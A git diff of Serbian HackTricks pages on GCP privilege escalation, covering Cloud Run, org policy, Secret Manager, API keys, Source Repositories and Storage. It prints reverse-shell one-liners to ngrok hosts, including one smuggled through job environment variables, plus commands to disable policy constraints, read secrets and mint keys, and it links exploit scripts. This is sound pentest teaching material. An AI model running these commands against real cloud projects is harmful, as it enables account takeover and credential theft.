onemogućava preuzimanje izvornog koda App Engine. Međutim, korišćenjem **orgpolicy.policy.set**, attacker može deaktivirati ovo ograničenje, čime stiče pristup za preuzimanje izvornog koda, iako je on prvobitno bio zaštićen. + +
+Dobavi informacije o org policy i onemogući sprovođenje ```bash # Get info gcloud resource-manager org-policies describe [--folder | --organization | --project ] @@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe [--folder | --or # Disable gcloud resource-manager org-policies disable-enforce [--folder | --organization | --project ] ``` -A python skripta za ovu metodu može se pronaći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py). +
+ +Python skripta za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py). ### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs` -Obično nije moguće prikačiti service account iz drugog projekta na resource zato što postoji policy constraint koji se primenjuje i zove se **`iam.disableCrossProjectServiceAccountUsage`** i koji sprečava ovu akciju. +Uobičajeno nije moguće prikačiti service account iz drugog projekta na resource jer postoji primenjen policy constraint nazvan **`iam.disableCrossProjectServiceAccountUsage`** koji to onemogućava. -Moguće je proveriti da li se ovo ograničenje primenjuje pokretanjem sledeće komande: +Moguće je proveriti da li je ovaj constraint primenjen pokretanjem sledeće komande: + +
+Verify cross-project service account constraint ```bash gcloud resource-manager org-policies describe \ constraints/iam.disableCrossProjectServiceAccountUsage \ @@ -31,15 +39,22 @@ booleanPolicy: enforced: true constraint: constraints/iam.disableCrossProjectServiceAccountUsage ``` -Ovo sprečava napadača da zloupotrebi dozvolu **`iam.serviceAccounts.actAs`** da se predstavlja kao service account iz drugog projekta bez potrebnih daljih infra permissions da, na primer, pokrene novu VM, što bi moglo dovesti do privilege escalation. +
-Međutim, napadač sa dozvolama **`orgpolicy.policy.set`** može zaobići ovo ograničenje onemogućavanjem ograničenja **`iam.disableServiceAccountProjectWideAccess`**. Ovo omogućava napadaču da prikači service account iz drugog projekta na resurs u svom projektu, effectively escalating his privileges. +Ovo sprečava napadača da zloupotrebi dozvolu **`iam.serviceAccounts.actAs`** da impersonira servisni nalog iz drugog projekta bez potrebnih dodatnih infrastrukturnih dozvola da, na primer, pokrene novi VM, što bi moglo dovesti do eskalacije privilegija. + +Međutim, napadač sa dozvolama **`orgpolicy.policy.set`** može zaobići ovu restrikciju tako što će onemogućiti ograničenje **`iam.disableServiceAccountProjectWideAccess`**. Ovo omogućava napadaču da prikači servisni nalog iz drugog projekta na resurs u svom projektu, efektivno eskalirajući svoje privilegije. + +
+Onemogućavanje ograničenja za servisne naloge između projekata ```bash gcloud resource-manager org-policies disable-enforce \ iam.disableCrossProjectServiceAccountUsage \ --project= ``` -## Literatura +
+ +## Reference - [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md index e434d3a41..366ef1608 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md @@ -4,7 +4,7 @@ ## Cloud Run -Za više informacija o Cloud Run proverite: +Za više informacija o Cloud Run pogledajte: {{#ref}} ../gcp-services/gcp-cloud-run-enum.md @@ -12,15 +12,18 @@ Za više informacija o Cloud Run proverite: ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`** -Napadač sa ovim dozvolama može **da kreira run servis koji pokreće proizvoljan kod** (proizvoljan Docker kontejner), da mu pridruži Service Account i da učini da kod **izvadi token Service Account-a iz metapodataka**. +Napadač sa ovim dozvolama može da **kreira run service running arbitrary code** (arbitrary Docker container), prikači Service Account na njega i natera kod da **exfiltrate the Service Account token from the metadata**. -Eksploatacioni skript za ovu metodu može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) a Docker slika može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). +Exploit script za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) a Docker image može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). -Napomena: kada koristite `gcloud run deploy` umesto samo kreiranja servisa **potrebna je dozvola `update`**. Proverite [**primer ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). +Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Pogledajte [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). ### `run.services.update` , `iam.serviceAccounts.actAs` -Kao prethodni, ali ažurira servis: +Slično prethodnom, ali ažurira servis: + +
+Deploy Cloud Run service with reverse shell ```bash # Launch some web server to listen in port 80 so the service works echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64 @@ -36,13 +39,18 @@ gcloud run deploy hacked \ # If you don't have permissions to use "--allow-unauthenticated", dont use it ``` +
+ ### `run.services.setIamPolicy` -Dajte sebi prethodne dozvole za cloud Run. +Dodelite sebi prethodne dozvole nad cloud Run. ### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`) -Pokrenite posao sa reverznim shell-om da biste ukrali servisni nalog naznačen u komandi. Možete pronaći [**eksploit ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). +Pokrenite job sa reverse shell-om kako biste ukrali service account naveden u komandi. Možete pronaći [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). + +
+Kreirajte Cloud Run job sa reverse shell-om ```bash gcloud beta run jobs create jab-cloudrun-3326 \ --image=ubuntu:latest \ @@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \ --region=us-central1 ``` +
+ ### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`) -Slično prethodnom, moguće je **ažurirati posao i ažurirati SA**, **komandu** i **izvršiti je**: +Slično prethodnom, moguće je **ažurirati job i ažurirati SA**, **izmeniti komandu** i **izvršiti je**: + +
+Update Cloud Run job and execute with reverse shell ```bash gcloud beta run jobs update hacked \ --image=mubuntu:latest \ @@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \ --region=us-central1 \ --execute-now ``` +
+ ### `run.jobs.setIamPolicy` -Dajte sebi prethodne dozvole za Cloud Jobs. +Dodelite sebi prethodne dozvole nad Cloud Jobs. ### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`) -Iskoristite env varijable izvršenja posla da izvršite proizvoljan kod i dobijete reverznu ljusku za iskopavanje sadržaja kontejnera (izvorni kod) i pristupite SA unutar metapodataka: +Iskoristite env variables pri izvršavanju job-a da pokrenete proizvoljni kod i dobijete reverse shell koji omogućava dump sadržaja containera (source code) i pristup SA u metadata: + +
+Execute Cloud Run job with environment variable exploitation ```bash gcloud beta run jobs execute job-name --region --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s" ``` +
+ ## Reference - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md index b329ff8ff..e72eec360 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md @@ -12,12 +12,16 @@ Za više informacija o secretmanager: ### `secretmanager.versions.access` -Ovo vam daje pristup za čitanje tajni iz menadžera tajni i možda bi to moglo pomoći u eskalaciji privilegija (u zavisnosti od toga koje informacije su pohranjene unutar tajne): +Ovo vam omogućava čitanje secrets iz secret manager-a i može pomoći u eskalaciji privilegija (u zavisnosti od toga koje su informacije pohranjene u secret-u): + +
Dohvati clear-text secret verziju ```bash # Get clear-text of version 1 of secret: "" gcloud secrets versions access 1 --secret="" ``` -Kao što je ovo takođe tehnika post eksploatacije, može se naći u: +
+ +Pošto je ovo takođe post exploitation tehnika, može se naći u: {{#ref}} ../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -25,10 +29,14 @@ Kao što je ovo takođe tehnika post eksploatacije, može se naći u: ### `secretmanager.secrets.setIamPolicy` -Ovo vam omogućava pristup za čitanje tajni iz menadžera tajni, kao što je korišćenje: +Ovo ti daje pristup za čitanje tajni iz Secret Manager-a, na primer koristeći: + +
Dodaj IAM policy binding za tajnu ```bash gcloud secrets add-iam-policy-binding \ --member="serviceAccount:@$PROJECT_ID.iam.gserviceaccount.com" \ --role="roles/secretmanager.secretAccessor" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md index 59c5e69ac..9924877ce 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md @@ -4,11 +4,11 @@ ## serviceusage -Sledeće dozvole su korisne za kreiranje i krađu API ključeva, ne zaboravite ovo iz dokumentacije: _API ključ je jednostavna enkriptovana niska koja **identifikuje aplikaciju bez ikakvog principala**. Korisni su za pristupanje **javnim podacima anonimno**, i koriste se za **povezivanje** API zahteva sa vašim projektom za kvotu i **naplatu**._ +Sledeće dozvole su korisne za kreiranje i krađu API ključeva, napomena iz dokumentacije: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._ -Dakle, sa API ključem možete naterati tu kompaniju da plati za vaše korišćenje API-ja, ali nećete moći da eskalirate privilegije. +Dakle, sa API ključem možete naterati tu kompaniju da plati za vaše korišćenje API-ja, ali nećete moći da escalate privileges. -Da biste saznali druge dozvole i načine za generisanje API ključeva, proverite: +Da biste saznali druge dozvole i načine za generisanje API ključeva, pogledajte: {{#ref}} gcp-apikeys-privesc.md @@ -16,19 +16,27 @@ gcp-apikeys-privesc.md ### `serviceusage.apiKeys.create` -Pronađen je nedokumentovani API koji se može koristiti za **kreiranje API ključeva:** +Pronađen je nedokumentovan API koji se može koristiti za **kreiranje API ključeva:** + +
Kreiranje API ključa koristeći nedokumentovani API ```bash curl -XPOST "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)" ``` +
+ ### `serviceusage.apiKeys.list` -Pronađena je još jedna nedokumentovana API za listanje API ključeva koji su već kreirani (API ključevi se pojavljuju u odgovoru): +Pronađen je još jedan nedokumentovani API za listanje API keys koji su već kreirani (API keys se pojavljuju u odgovoru): + +
Prikaži API keys koristeći nedokumentovani API ```bash curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)" ``` +
+ ### **`serviceusage.services.enable`** , **`serviceusage.services.use`** -Sa ovim dozvolama napadač može omogućiti i koristiti nove usluge u projektu. To bi moglo omogućiti **napadaču da omogući uslugu kao što je admin ili cloudidentity** da pokuša da pristupi informacijama iz Workspace-a, ili drugim uslugama za pristup zanimljivim podacima. +Sa ovim dozvolama attacker može da omogući i koristi nove servise u projektu. Ovo može omogućiti **attacker da omogući servis kao admin ili cloudidentity** kako bi pokušao da pristupi Workspace informacijama, ili drugim servisima da pristupe zanimljivim podacima. ## **References** @@ -36,17 +44,17 @@ Sa ovim dozvolama napadač može omogućiti i koristiti nove usluge u projektu.
-Support HackTricks and get benefits! +Podržite HackTricks i ostvarite pogodnosti! -Da li radite u **cybersecurity company**? Da li želite da vidite vašu **company advertised in HackTricks**? ili želite da imate pristup **latest version of the PEASS or download HackTricks in PDF**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Radite li u kompaniji za **cybersecurity**? Želite li da vaša **kompanija bude reklamirana u HackTricks**? Ili želite pristup **najnovijoj verziji PEASS ili da preuzmete HackTricks u PDF formatu**? Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFTs**](https://opensea.io/collection/the-peass-family) -Dobijte [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +Nabavite [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) ili [**telegram group**](https://t.me/peass) ili **zapratite** me na **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\* +**Podelite svoje hacking tricks slanjem PRs u** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\* **.** diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md index 0946ed030..2777a6038 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Izvori Repozitorijumi +## Source Repositories -Za više informacija o Izvorima Repozitorijuma pogledajte: +Za više informacija o Source Repositories pogledajte: {{#ref}} ../gcp-services/gcp-source-repositories-enum.md @@ -12,28 +12,32 @@ Za više informacija o Izvorima Repozitorijuma pogledajte: ### `source.repos.get` -Sa ovom dozvolom je moguće preuzeti repozitorijum lokalno: +Sa ovom dozvolom moguće je preuzeti repozitorij lokalno: + +
Clone source repository ```bash gcloud source repos clone --project= ``` +
+ ### `source.repos.update` -Princip sa ovom dozvolom **će moći da piše kod unutar repozitorijuma kloniranog sa `gcloud source repos clone `**. Ali imajte na umu da se ova dozvola ne može prikačiti na prilagođene uloge, tako da mora biti dodeljena putem unapred definisane uloge kao što su: +Entitet sa ovom dozvolom **će moći da piše kod u repozitorijumu kloniranom sa `gcloud source repos clone `**. Međutim, imajte na umu da se ova dozvola ne može pridružiti prilagođenim rolama, već mora biti dodeljena putem unapred definisane role kao što su: -- Vlasnik -- Urednik -- Administrator repozitorijuma izvora (`roles/source.admin`) -- Pisac repozitorijuma izvora (`roles/source.writer`) +- Owner +- Editor +- Source Repository Administrator (`roles/source.admin`) +- Source Repository Writer (`roles/source.writer`) -Da biste pisali, jednostavno izvršite običan **`git push`**. +Za pisanje jednostavno izvršite običan **`git push`**. ### `source.repos.setIamPolicy` -Sa ovom dozvolom napadač bi mogao da dodeli sebi prethodne dozvole. +Sa ovom dozvolom napadač bi mogao sebi dodeliti prethodne dozvole. ### Pristup tajnama -Ako napadač ima **pristup tajnama** gde su tokeni pohranjeni, moći će da ih ukrade. Za više informacija o tome kako pristupiti tajni, proverite: +Ako napadač ima **pristup tajnama** u kojima su tokeni sačuvani, moći će da ih ukrade. Za više informacija o tome kako pristupiti tajni pogledajte: {{#ref}} gcp-secretmanager-privesc.md @@ -41,39 +45,47 @@ gcp-secretmanager-privesc.md ### Dodavanje SSH ključeva -Moguće je **dodati ssh ključeve u projekat Source Repository** u veb konzoli. To šalje POST zahtev na **`/v1/sshKeys:add`** i može se konfigurisati na [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) +Moguće je **dodati ssh ključeve u Source Repository projekat** u web konzoli. Pravi POST zahtev na **`/v1/sshKeys:add`** i može se konfigurirati na [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) Kada je vaš ssh ključ postavljen, možete pristupiti repozitorijumu sa: + +
Kloniranje repozitorijuma pomoću SSH ```bash git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/ ``` -I zatim koristite **`git`** komande kao i obično. +
-### Ručne Kredencijale +Nakon toga koristite **`git`** komande kao i obično. -Moguće je kreirati ručne kredencijale za pristup Source Repositories: +### Ručno kreirani kredencijali + +Moguće je kreirati ručno kredencijale za pristup Source Repositories:
-Klikom na prvu vezu bićete preusmereni na [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) +Klikom na prvi link bićete preusmereni na [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) -Što će prikazati **Oauth autorizacijski prozor** za davanje pristupa **Google Cloud Development**. Tako da će vam biti potrebni ili **kredencijali korisnika** ili **otvorena sesija u pretraživaču** za ovo. +Koji će prikazati **Oauth authorization prompt** za dodelu pristupa **Google Cloud Development**. Dakle, biće vam potrebni ili **kredencijali korisnika** ili **otvorena sesija u pregledaču** za ovo. -Ovo će vas odvesti na stranicu sa **bash skriptom za izvršavanje** i konfiguraciju git kolačića u **`$HOME/.gitcookies`** +Ovo će vas odvesti na stranicu sa **bash skriptom za izvršavanje** koja konfiguriše git cookie u **`$HOME/.gitcookies`**
-Izvršavanjem skripte možete koristiti git clone, push... i to će raditi. +Izvršavanjem skripte možete zatim koristiti git clone, push... i radiće. ### `source.repos.updateProjectConfig` -Sa ovom dozvolom moguće je onemogućiti podrazumevanu zaštitu Source Repositories da ne učitava kod koji sadrži privatne ključeve: +Sa ovom dozvolom moguće je onemogućiti podrazumevanu zaštitu Source Repositories da ne dozvoli upload koda koji sadrži privatne ključeve: + +
Onemogući pushblock i izmeni pub/sub konfiguraciju ```bash gcloud source project-configs update --disable-pushblock ``` -Možete takođe konfigurisati drugačiju pub/sub temu ili čak potpuno onemogućiti: +Takođe možete konfigurisati drugu pub/sub temu ili je čak potpuno onemogućiti: ```bash gcloud source project-configs update --remove-topic=REMOVE_TOPIC gcloud source project-configs update --remove-topic=UPDATE_TOPIC ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md index 3abe8a78f..798cbac59 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md @@ -12,18 +12,18 @@ Osnovne informacije: ### `storage.objects.get` -Ova dozvola vam omogućava da **preuzmete datoteke smeštene unutar Cloud Storage**. Ovo potencijalno može omogućiti eskalaciju privilegija jer se u nekim slučajevima **osetljive informacije čuvaju tamo**. Štaviše, neke GCP usluge čuvaju svoje informacije u kanticama: +Ova dozvola vam omogućava da **preuzimate fajlove uskladištene u Cloud Storage**. To potencijalno može dovesti do eskalacije privilegija jer se u nekim slučajevima tamo čuvaju **osetljive informacije**. Pored toga, neke GCP usluge čuvaju svoje informacije u buckets: -- **GCP Composer**: Kada kreirate Composer Environment, **kod svih DAG-ova** će biti sačuvan unutar **kante**. Ove zadatke mogu sadržati zanimljive informacije unutar svog koda. -- **GCR (Container Registry)**: **Slika** kontejnera se čuva unutar **kanti**, što znači da ako možete da čitate kante, bićete u mogućnosti da preuzmete slike i **tražite curenja i/ili izvorni kod**. +- **GCP Composer**: Kada kreirate Composer Environment, **code of all the DAGs** biće sačuvan u **bucket**. Ti zadaci mogu sadržati interesantne informacije u svom kodu. +- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, što znači da ako možete čitati buckets moći ćete da preuzmete image-e i **pretražite leaks i/ili source code**. ### `storage.objects.setIamPolicy` -Možete sebi dati dozvolu da **zloupotrebljavate bilo koji od prethodnih scenarija u ovoj sekciji**. +Možete sebi dodeliti dozvolu da **iskoristite bilo koji od prethodnih scenarija iz ovog odeljka**. ### **`storage.buckets.setIamPolicy`** -Za primer kako da modifikujete dozvole sa ovom dozvolom, pogledajte ovu stranicu: +Za primer kako modifikovati dozvole koristeći ovu dozvolu pogledajte ovu stranicu: {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md @@ -31,7 +31,9 @@ Za primer kako da modifikujete dozvole sa ovom dozvolom, pogledajte ovu stranicu ### `storage.hmacKeys.create` -Funkcija "interoperabilnosti" Cloud Storage-a, dizajnirana za **interakcije između različitih cloud-a** kao što je AWS S3, uključuje **kreiranje HMAC ključeva za Service Accounts i korisnike**. Napadač može iskoristiti ovo tako što će **generisati HMAC ključ za Service Account sa povišenim privilegijama**, čime se **escalira privilegije unutar Cloud Storage**. Dok su HMAC ključevi povezani sa korisnicima dostupni samo putem web konzole, pristupni i tajni ključevi ostaju **večno dostupni**, omogućavajući potencijalni pristup za backup. S druge strane, HMAC ključevi povezani sa Service Account-om su dostupni putem API-ja, ali njihovi pristupni i tajni ključevi nisu dostupni nakon kreiranja, dodajući sloj složenosti za kontinuirani pristup. +Cloud Storage's "interoperability" feature, dizajnirana za **cross-cloud interactions** kao što je AWS S3, podrazumeva **kreiranje HMAC keys za Service Accounts i users**. Napadač to može iskoristiti tako što će **generisati HMAC key za Service Account sa povišenim privilegijama**, čime **escalating privileges within Cloud Storage**. Dok se HMAC keys povezani sa korisnicima mogu preuzeti samo preko web console, i access and secret keys ostaju **perpetually accessible**, što omogućava potencijalno skladištenje rezervnog pristupa. Suprotno tome, HMAC keys vezani za Service Account se mogu pristupiti preko API-ja, ali njihovi access and secret keys nisu dostupni za preuzimanje nakon kreiranja, što dodaje sloj složenosti za kontinuirani pristup. + +
Create and use HMAC key for privilege escalation ```bash # Create key gsutil hmac create # You might need to execute this inside a VM instance @@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME] # Restore gcloud config set pass_credentials_to_gsutil true ``` -Još jedan exploit skript za ovu metodu može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). +
-## `storage.objects.create`, `storage.objects.delete` = Dozvole za pisanje u skladištu +Još jedan exploit script za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). -Da biste **napravili novi objekat** unutar bucket-a, potrebni su vam `storage.objects.create` i, prema [dokumentaciji](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), takođe vam je potrebna `storage.objects.delete` da biste **izmenili** postojeći objekat. +### `storage.objects.create`, `storage.objects.delete` = Storage dozvole za pisanje -Veoma **česta eksploatacija** bucket-a u kojima možete pisati u oblaku je u slučaju da **bucket čuva datoteke web servera**, možda ćete moći da **sačuvate novi kod** koji će se koristiti u web aplikaciji. +Da biste **kreirali novi objekat** unutar bucket-a potrebno je `storage.objects.create` i, prema [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrebno je i `storage.objects.delete` da biste **izmenili** postojeći objekat. + +Veoma česta eksploatacija bucket-a u kojima imate mogućnost pisanja u cloud dešava se kada bucket čuva fajlove web servera — moguće je uskladištiti novi code koji će koristiti web aplikacija. ### Composer -**Composer** je **Apache Airflow** koji se upravlja unutar GCP-a. Ima nekoliko zanimljivih karakteristika: +**Composer** je **Apache Airflow** koji se upravlja unutar GCP. Ima nekoliko interesantnih karakteristika: -- Radi unutar **GKE klastera**, tako da je **SA koji klaster koristi dostupan** kodu koji se izvršava unutar Composera -- Svi komponenti okruženja Composera (**kod DAG-ova**, dodaci i podaci) se čuvaju unutar GCP bucket-a. Ako napadač ima dozvole za čitanje i pisanje nad njim, mogao bi da prati bucket i **kada god se DAG kreira ili ažurira, pošalje verziju sa backdoor-om** tako da okruženje Composer preuzme verziju sa backdoor-om iz skladišta. +- Radi unutar **GKE cluster-a**, tako da je **SA koji cluster koristi dostupan** kodu koji se izvršava unutar Composer-a +- Sve komponente composer environment-a (**code of DAGs**, plugins i data) su smeštene unutar GCP bucket-a. Ako napadač ima read i write permisije nad njim, mogao bi da prati bucket i **kad god se DAG kreira ili ažurira, ubaci backdoored verziju** tako da composer environment iz storage-a preuzme backdoored verziju. -**Možete pronaći PoC ovog napada u repozitorijumu:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) +**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) ### Cloud Functions -- Kod Cloud Functions se čuva u Storage-u i kada se kreira nova verzija, kod se šalje u bucket, a zatim se novi kontejner gradi iz ovog koda. Stoga, **prepisivanje koda pre nego što nova verzija bude izgrađena omogućava izvršavanje proizvoljnog koda u cloud funkciji**. +- Cloud Functions code je smešten u Storage i kad god se kreira nova verzija, code se push-uje u bucket i zatim se iz tog code-a gradi novi container. Dakle, **prepisivanjem code-a pre nego što se nova verzija sagradi moguće je naterati cloud function da izvrši proizvoljan code**. -**Možete pronaći PoC ovog napada u repozitorijumu:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) +**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) ### App Engine -AppEngine verzije generišu neke podatke unutar bucket-a u formatu imena: `staging..appspot.com`. Unutar ovog bucket-a, moguće je pronaći folder pod nazivom `ae` koji će sadržati folder po verziji AppEngine aplikacije i unutar ovih foldera biće moguće pronaći datoteku `manifest.json`. Ova datoteka sadrži json sa svim datotekama koje moraju biti korišćene za kreiranje specifične verzije. Štaviše, moguće je pronaći **prava imena datoteka, URL do njih unutar GCP bucket-a (datoteke unutar bucket-a su promenile svoje ime u njihov sha1 hash) i sha1 hash svake datoteke.** +AppEngine verzije generišu neke podatke unutar bucket-a sa formatom imena: `staging..appspot.com`. Unutar ovog bucket-a moguće je naći folder nazvan `ae` koji će sadržati folder po verziji AppEngine aplikacije, a u tim folderima moguće je pronaći fajl `manifest.json`. Taj fajl sadrži json sa svim fajlovima koji moraju biti korišćeni za kreiranje određene verzije. Pored toga, moguće je naći **prava imena fajlova, URL do njih unutar GCP bucket-a (fajlovi u bucket-u su promenili ime u svoje sha1 hash-ove) i sha1 hash svakog fajla.** -_Napomena: nije moguće unapred preuzeti ovaj bucket jer GCP korisnici nisu ovlašćeni da generišu buckete koristeći naziv domena appspot.com._ +_Napomena: nije moguće prethodno takeover-ovati ovaj bucket jer GCP korisnici nisu autorizovani da kreiraju bucket-ove koristeći domen appspot.com._ -Međutim, sa pristupom za čitanje i pisanje nad ovim bucket-om, moguće je eskalirati privilegije na SA vezanu za verziju App Engine-a praćenjem bucket-a i svaki put kada se izvrši promena (nova verzija), izmeniti novu verziju što je brže moguće. Na ovaj način, kontejner koji se kreira iz ovog koda će izvršiti kod sa backdoor-om. +Međutim, uz read & write pristup ovom bucket-u, moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što se prati bucket i svaki put kad se izvrši promena (nova verzija), izmeni nova verzija što je brže moguće. Na taj način container koji se kreira iz tog code-a će izvršiti backdoored code. -Pomenuti napad može se izvesti na mnogo različitih načina, svi počinju praćenjem `staging..appspot.com` bucket-a: +Navedeni napad se može izvesti na više različitih načina, svi počinju praćenjem `staging..appspot.com` bucket-a: -- Učitajte kompletan novi kod verzije AppEngine u drugi i dostupni bucket i pripremite **`manifest.json` datoteku sa novim imenom bucket-a i sha1 hash-evima**. Zatim, kada se unutar bucket-a kreira nova verzija, samo treba da izmenite `manifest.json` datoteku i učitate zlonamernu. -- Učitajte izmenjenu verziju `requirements.txt` koja će koristiti **kod zlonamernih zavisnosti i ažurirati `manifest.json`** datoteku sa novim imenom datoteke, URL-om i hash-om. -- Učitajte **izmenjenu `main.py` ili `app.yaml` datoteku koja će izvršiti zlonamerni kod** i ažurirati `manifest.json` datoteku sa novim imenom datoteke, URL-om i hash-om. +- Upload-ujte kompletan novi code AppEngine verzije u drugi dostupan 